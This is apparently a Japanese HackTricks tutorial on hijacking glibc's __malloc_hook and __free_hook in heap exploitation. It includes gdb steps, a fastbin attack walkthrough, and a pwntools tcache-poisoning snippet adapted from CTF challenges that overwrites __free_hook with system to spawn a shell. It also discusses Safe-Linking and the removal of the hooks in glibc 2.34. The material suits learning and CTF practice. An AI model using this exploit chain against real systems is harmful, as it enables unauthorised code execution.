WWW2Exec - __malloc_hook & __free_hook
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Malloc Hook
公式GNUサイトにあるように、変数**__malloc_hook
は、malloc()
が呼び出されるたびに呼び出される関数のアドレスを指すポインタであり、libcライブラリのデータセクションに格納されています。したがって、このアドレスが例えばOne Gadget**で上書きされ、malloc
が呼び出されると、One Gadgetが呼び出されます。
mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、printf("%10000$c")
を呼び出すことで、libcがヒープにそれらを割り当てるためにmallocを呼び出すように、過剰にバイトを割り当てることができます。
One Gadgetに関する詳細は以下を参照してください:
warning
GLIBC >= 2.34ではフックが無効になっていることに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。参照: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md。
Free Hook
これは、未整列ビン攻撃を悪用した後にファストビン攻撃を悪用したページの例の1つで悪用されました:
バイナリにシンボルがある場合、次のコマンドで__free_hook
のアドレスを見つけることができます:
gef➤ p &__free_hook
この投稿では、シンボルなしでフリーフックのアドレスを特定する方法についてのステップバイステップガイドを見つけることができます。要約すると、free関数内で:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- ここでブレーク
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
前述のコードのブレークポイントで、$eaxにはフリーフックのアドレスが格納されます。
次に、ファストビン攻撃が実行されます:
- まず、
__free_hook
の場所でサイズ200のファストチャンクを扱うことが可能であることが発見されます: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能になります。
- そのために、サイズ
0xfc
の新しいチャンクを作成し、そのポインタを使ってマージされた関数を2回呼び出します。こうすることで、ファストビン内のサイズ0xfc*2 = 0x1f8
の解放されたチャンクへのポインタを取得します。 - 次に、このチャンクの編集関数を呼び出して、このファストビンの**
fd
アドレスを前の__free_hook
**関数を指すように変更します。 - その後、サイズ
0x1f8
のチャンクを作成して、ファストビンから前の無駄なチャンクを取得し、さらにサイズ0x1f8
のチャンクを作成して**__free_hook
内のファストビンチャンクを取得し、system
**関数のアドレスで上書きします。 - 最後に、文字列
/bin/sh\x00
を含むチャンクを削除関数を呼び出して解放し、**__free_hook
**関数をトリガーし、/bin/sh\x00
をパラメータとしてsystemを指すようにします。
Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32はSafe-Linkingを導入しました。これは、tcacheおよびファストビンで使用される単一リンクリストを保護するための整合性チェックです。生のフォワードポインタ(fd
)を保存する代わりに、ptmallocは次のマクロで難読化されたものを保存します:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
悪用の結果:
- heap leak は必須です - 攻撃者は有効な難読化ポインタを作成するために
chunk_addr >> 12
のランタイム値を知っている必要があります。 - 完全な 8バイトポインタのみが偽造可能であり、1バイトの部分的な上書きはチェックを通過しません。
したがって、glibc 2.32/2.33で __free_hook
を上書きする最小のtcache-poisoningプリミティブは次のようになります:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
上記のスニペットは、UIUCTF 2024 – «Rusty Pointers» および openECSC 2023 – «Babyheap G» の最近のCTFチャレンジから適応されたもので、どちらも __free_hook
を上書きするためにSafe-Linkingバイパスに依存していました。
glibc ≥ 2.34 で何が変わったのか?
glibc 2.34 (2021年8月) 以降、アロケーションフック __malloc_hook
、__realloc_hook
、__memalign_hook
および __free_hook
は 公開APIから削除され、アロケーターによって呼び出されなくなりました。互換性のあるシンボルはレガシーバイナリ用にエクスポートされていますが、それらを上書きしても malloc()
や free()
の制御フローには影響しません。
実際の影響:現代のディストリビューション(Ubuntu 22.04+、Fedora 35+、Debian 12 など)では、フックの上書きが静かに失敗するため、他の ハイジャックプリミティブ(IO-FILE、__run_exit_handlers
、vtableスプレーなど)に移行する必要があります。
デバッグのために古い動作がまだ必要な場合、glibc はレガシーフックを再有効化するためにプリロードできる libc_malloc_debug.so
を提供していますが、このライブラリは 本番環境向けではなく、将来のリリースで消える可能性があります。
参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – 20年のmalloc()エクスプロイトプリミティブの排除 (Check Point Research, 2020)
- glibc 2.34 リリースノート – mallocフックの削除
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。